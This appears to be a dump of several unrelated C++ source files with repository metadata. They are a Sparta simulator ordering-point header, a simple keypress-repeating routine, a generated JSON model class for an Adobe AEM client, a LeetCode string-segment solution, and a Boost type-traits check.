[ "adomas.zal@gmail.com" ]
adomas.zal@gmail.com
90ebae06da197afe5d46fb10a66fd5a9578b6644
5918a09f1d8d36286662f55a05f1f239fc4c6040
/sparta/sparta/events/GlobalOrderingPoint.hpp
c7274a5629ba1c4d43a71e1db6b3bb136144c9fa
[ "Apache-2.0" ]
permissive
sparcians/map
ad10249cc2f33ae660ca2f54fc710c379f3977bd
c2d5db768967ba604c4747ec5e172ff78de95e47
refs/heads/master
2023-09-01T17:56:53.978492
2023-08-28T21:40:12
2023-08-28T21:40:12
227,639,638
107
40
Apache-2.0
2023-09-06T01:17:39
2019-12-12T15:37:36
C++
UTF-8
C++
false
false
3,354
hpp
// <GlobalOrderingPoint.hpp> -*- C++ -*- #pragma once #include "sparta/utils/Utils.hpp" #include "sparta/kernel/DAG.hpp" #include "sparta/kernel/Scheduler.hpp" #include "sparta/simulation/TreeNode.hpp" #include <string> namespace sparta { /*! * \class GlobalOrderingPoint * \brief Used to set precedence between Scheduleable types across simulation * * In cases where two events in different blocks need * synchronization, this class can allow a modeler to set a * precedence between those entities, even across blocks that do * not know about each other. * * Example: a core's load/store unit needs to send "ready" to the * middle machine for operand readiness. The middle machine will * pick the instruction that corresponds to that ready signal _on * the same cycle_ the load/store sends ready. The modeler * requires the load/store unit to be scheduled first before the * middle machine's picker: * * \code * class LSU { * EventT ev_send_ready_; * }; * * class MidMachine { * EventT pick_instruction_; * }; * \endcode * * In the above case, the event `ev_send_ready_` _must be scheduled before_ `pick_instruction_`. * * To do this, set up a sparta::GlobalOrderingPoint in both unit's constructors: * * \code * LSU::LSU(sparta::TreeNode * container, const LSUParameters*) * { * // Sent ready signal MUST COME BEFORE the GlobalOrderingPoint * ev_send_ready_ >> sparta::GlobalOrderingPoint(container, "lsu_midmachine_order"); * } * * MidMachine::MidMachine(sparta::TreeNode * container, const MidMachineParameters*) * { * // The GlobalOrderingPoint must come before picking * sparta::GlobalOrderingPoint(container, "lsu_midmachine_order") >> pick_instruction_; * } * \endcode * * The modeler must ensure the name of the * sparta::GlobalOrderingPoint is the *same* on both calls. */ class GlobalOrderingPoint { public: /** * \brief Construction a GlobalOrderingPoint * * \param node The node this GOP is associated with * \param name The name that's used to register with the internal DAG * * See descition for use */ GlobalOrderingPoint(sparta::TreeNode * node, const std::string & name) : name_(name) { auto scheduler = notNull(node)->getScheduler(); dag_ = notNull(scheduler)->getDAG(); gordering_point_ = notNull(dag_)->getGOPoint(name); sparta_assert(nullptr != gordering_point_, "Issues trying to get GOPoint " << name); } /** * \brief Handy method for debug * \return The name of this GOP */ const std::string & getName() const { return name_; } /** * \brief Used by the precedence rules * \return The internal GOP from the internal DAG */ DAG::GOPoint * getGOPoint() const { return gordering_point_; } private: DAG * dag_ = nullptr; DAG::GOPoint * gordering_point_ = nullptr; const std::string name_; }; }
[ "56927209+klingaard@users.noreply.github.com" ]
56927209+klingaard@users.noreply.github.com
9253c5f9fd43b9f652dea6d70bfae9c6464075f1
52e24cae58e3abf501dbf48ac900220000fc387d
/routines/Magic.cpp
8727af8ca3b21c433e858af6e8f51176c84f0d14
[]
no_license
DanielSmithMichigan/x
5049775e5970a4c06f33a3a9663a948b5b6fa792
dad139ff3b3e6ee6da1cb4b204d77cc666ae494b
refs/heads/master
2020-03-24T12:48:38.472142
2016-08-19T17:23:07
2016-08-19T17:23:07
142,725,078
0
0
null
null
null
null
UTF-8
C++
false
false
255
cpp
#ifndef magic_cpp #define magic_cpp #include "Magic.h" #define THREE_KEY 65548 Magic::Magic() { } Magic::~Magic() { } void Magic::run() { while(true) { cout << "PRESSING" << endl; nsleep(1000); keypress(THREE_KEY, 25); } } #endif
[ "dsmith@ltu.edu" ]
dsmith@ltu.edu
9d964c32bc67041b03a235ac2c109910dbb4bee1
5ec06dab1409d790496ce082dacb321392b32fe9
/clients/cpp-tizen/generated/src/ComAdobeCqScreensImplJobsDistributedDevicesStatiUpdateJobInfo.cpp
6407ba62d0fe7419d283a3d17be6f0364f1ead64
[ "Apache-2.0" ]
permissive
shinesolutions/swagger-aem-osgi
e9d2385f44bee70e5bbdc0d577e99a9f2525266f
c2f6e076971d2592c1cbd3f70695c679e807396b
refs/heads/master
2022-10-29T13:07:40.422092
2021-04-09T07:46:03
2021-04-09T07:46:03
190,217,155
3
3
Apache-2.0
2022-10-05T03:26:20
2019-06-04T14:23:28
null
UTF-8
C++
false
false
5,635
cpp
#include <map> #include <cstdlib> #include <glib-object.h> #include <json-glib/json-glib.h> #include "Helpers.h" #include "ComAdobeCqScreensImplJobsDistributedDevicesStatiUpdateJobInfo.h" using namespace std; using namespace Tizen::ArtikCloud; ComAdobeCqScreensImplJobsDistributedDevicesStatiUpdateJobInfo::ComAdobeCqScreensImplJobsDistributedDevicesStatiUpdateJobInfo() { //__init(); } ComAdobeCqScreensImplJobsDistributedDevicesStatiUpdateJobInfo::~ComAdobeCqScreensImplJobsDistributedDevicesStatiUpdateJobInfo() { //__cleanup(); } void ComAdobeCqScreensImplJobsDistributedDevicesStatiUpdateJobInfo::__init() { //pid = std::string(); //title = std::string(); //description = std::string(); //properties = new ComAdobeCqScreensImplJobsDistributedDevicesStatiUpdateJobProperties(); } void ComAdobeCqScreensImplJobsDistributedDevicesStatiUpdateJobInfo::__cleanup() { //if(pid != NULL) { // //delete pid; //pid = NULL; //} //if(title != NULL) { // //delete title; //title = NULL; //} //if(description != NULL) { // //delete description; //description = NULL; //} //if(properties != NULL) { // //delete properties; //properties = NULL; //} // } void ComAdobeCqScreensImplJobsDistributedDevicesStatiUpdateJobInfo::fromJson(char* jsonStr) { JsonObject *pJsonObject = json_node_get_object(json_from_string(jsonStr,NULL)); JsonNode *node; const gchar *pidKey = "pid"; node = json_object_get_member(pJsonObject, pidKey); if (node !=NULL) { if (isprimitive("std::string")) { jsonToValue(&pid, node, "std::string", ""); } else { } } const gchar *titleKey = "title"; node = json_object_get_member(pJsonObject, titleKey); if (node !=NULL) { if (isprimitive("std::string")) { jsonToValue(&title, node, "std::string", ""); } else { } } const gchar *descriptionKey = "description"; node = json_object_get_member(pJsonObject, descriptionKey); if (node !=NULL) { if (isprimitive("std::string")) { jsonToValue(&description, node, "std::string", ""); } else { } } const gchar *propertiesKey = "properties"; node = json_object_get_member(pJsonObject, propertiesKey); if (node !=NULL) { if (isprimitive("ComAdobeCqScreensImplJobsDistributedDevicesStatiUpdateJobProperties")) { jsonToValue(&properties, node, "ComAdobeCqScreensImplJobsDistributedDevicesStatiUpdateJobProperties", "ComAdobeCqScreensImplJobsDistributedDevicesStatiUpdateJobProperties"); } else { ComAdobeCqScreensImplJobsDistributedDevicesStatiUpdateJobProperties* obj = static_cast<ComAdobeCqScreensImplJobsDistributedDevicesStatiUpdateJobProperties*> (&properties); obj->fromJson(json_to_string(node, false)); } } } ComAdobeCqScreensImplJobsDistributedDevicesStatiUpdateJobInfo::ComAdobeCqScreensImplJobsDistributedDevicesStatiUpdateJobInfo(char* json) { this->fromJson(json); } char* ComAdobeCqScreensImplJobsDistributedDevicesStatiUpdateJobInfo::toJson() { JsonObject *pJsonObject = json_object_new(); JsonNode *node; if (isprimitive("std::string")) { std::string obj = getPid(); node = converttoJson(&obj, "std::string", ""); } else { } const gchar *pidKey = "pid"; json_object_set_member(pJsonObject, pidKey, node); if (isprimitive("std::string")) { std::string obj = getTitle(); node = converttoJson(&obj, "std::string", ""); } else { } const gchar *titleKey = "title"; json_object_set_member(pJsonObject, titleKey, node); if (isprimitive("std::string")) { std::string obj = getDescription(); node = converttoJson(&obj, "std::string", ""); } else { } const gchar *descriptionKey = "description"; json_object_set_member(pJsonObject, descriptionKey, node); if (isprimitive("ComAdobeCqScreensImplJobsDistributedDevicesStatiUpdateJobProperties")) { ComAdobeCqScreensImplJobsDistributedDevicesStatiUpdateJobProperties obj = getProperties(); node = converttoJson(&obj, "ComAdobeCqScreensImplJobsDistributedDevicesStatiUpdateJobProperties", ""); } else { ComAdobeCqScreensImplJobsDistributedDevicesStatiUpdateJobProperties obj = static_cast<ComAdobeCqScreensImplJobsDistributedDevicesStatiUpdateJobProperties> (getProperties()); GError *mygerror; mygerror = NULL; node = json_from_string(obj.toJson(), &mygerror); } const gchar *propertiesKey = "properties"; json_object_set_member(pJsonObject, propertiesKey, node); node = json_node_alloc(); json_node_init(node, JSON_NODE_OBJECT); json_node_take_object(node, pJsonObject); char * ret = json_to_string(node, false); json_node_free(node); return ret; } std::string ComAdobeCqScreensImplJobsDistributedDevicesStatiUpdateJobInfo::getPid() { return pid; } void ComAdobeCqScreensImplJobsDistributedDevicesStatiUpdateJobInfo::setPid(std::string pid) { this->pid = pid; } std::string ComAdobeCqScreensImplJobsDistributedDevicesStatiUpdateJobInfo::getTitle() { return title; } void ComAdobeCqScreensImplJobsDistributedDevicesStatiUpdateJobInfo::setTitle(std::string title) { this->title = title; } std::string ComAdobeCqScreensImplJobsDistributedDevicesStatiUpdateJobInfo::getDescription() { return description; } void ComAdobeCqScreensImplJobsDistributedDevicesStatiUpdateJobInfo::setDescription(std::string description) { this->description = description; } ComAdobeCqScreensImplJobsDistributedDevicesStatiUpdateJobProperties ComAdobeCqScreensImplJobsDistributedDevicesStatiUpdateJobInfo::getProperties() { return properties; } void ComAdobeCqScreensImplJobsDistributedDevicesStatiUpdateJobInfo::setProperties(ComAdobeCqScreensImplJobsDistributedDevicesStatiUpdateJobProperties properties) { this->properties = properties; }
[ "cliffano@gmail.com" ]
cliffano@gmail.com
e87959f041b117f692efceda3bbcce6b469f8199
067173056bdb82e8605b0ffa708ad858ae0285a4
/algorithm/434-NumberofSegmentsinaString/NumberofSegmentsinaString.cpp
7e1b33e1f47df3a1e8282d0bbbf50c3c4308d8e8
[]
no_license
AlgoPeek/leetcode
48143646d138c84a6c0d9e2ae31703bb6e997622
6676c4a89bed1982b40fdd86eed5613ebd7932b8
refs/heads/master
2021-06-09T06:39:31.001297
2020-02-28T10:11:12
2020-02-28T10:11:12
140,302,492
0
0
null
null
null
null
UTF-8
C++
false
false
1,211
cpp
// Source: https://leetcode.com/problems/number-of-segments-in-a-string/description/ // Author: Diego Lee // Date: 2018-08-17 // // Description: // Count the number of segments in a string, where a segment is defined to be a contiguous sequence of non-space characters. // // Please note that the string does not contain any non-printable characters. // // Example: // // Input: "Hello, my name is John" // Output: 5 #include <iostream> #include <string> class Solution { public: int countSegments(std::string s) { int count = 0; int pos = 0; for (int i = 0; i < s.size(); ++i) { if (s[i] == ' ') { if (i != pos) { ++count; } pos = i + 1; } else if (i == s.size() - 1) { ++count; } } return count; } }; void testCountSegments() { Solution s; int result = s.countSegments("Hello, my name is John"); assert(result == 5); } int main() { testCountSegments(); return 0; }
[ "ksc_liyong@163.com" ]
ksc_liyong@163.com
5ee2230dcbbe44d3e25077c2cf818b9908fd43e0
5d83739af703fb400857cecc69aadaf02e07f8d1
/Archive2/b8/e67f506759733c/main.cpp
62328ec04f73547e7b49da7e30884e3410373cc0
[]
no_license
WhiZTiM/coliru
3a6c4c0bdac566d1aa1c21818118ba70479b0f40
2c72c048846c082f943e6c7f9fa8d94aee76979f
refs/heads/master
2021-01-01T05:10:33.812560
2015-08-24T19:09:22
2015-08-24T19:09:22
56,789,706
3
0
null
null
null
null
UTF-8
C++
false
false
426
cpp
#include <boost/typeof/typeof.hpp> #include <boost/type_traits/is_same.hpp> #include <boost/type_traits/function_traits.hpp> #include <boost/static_assert.hpp> const int f_const_int() {return 1;} int main() { typedef boost::function_traits<BOOST_TYPEOF(f_const_int)>::result_type type; BOOST_STATIC_ASSERT( not boost::is_same<type, int>::value ); BOOST_STATIC_ASSERT( boost::is_same<type, const int>::value ); }
[ "francis.rammeloo@36614edc-3e3a-acb8-9062-c8ae0e4185df" ]
francis.rammeloo@36614edc-3e3a-acb8-9062-c8ae0e4185df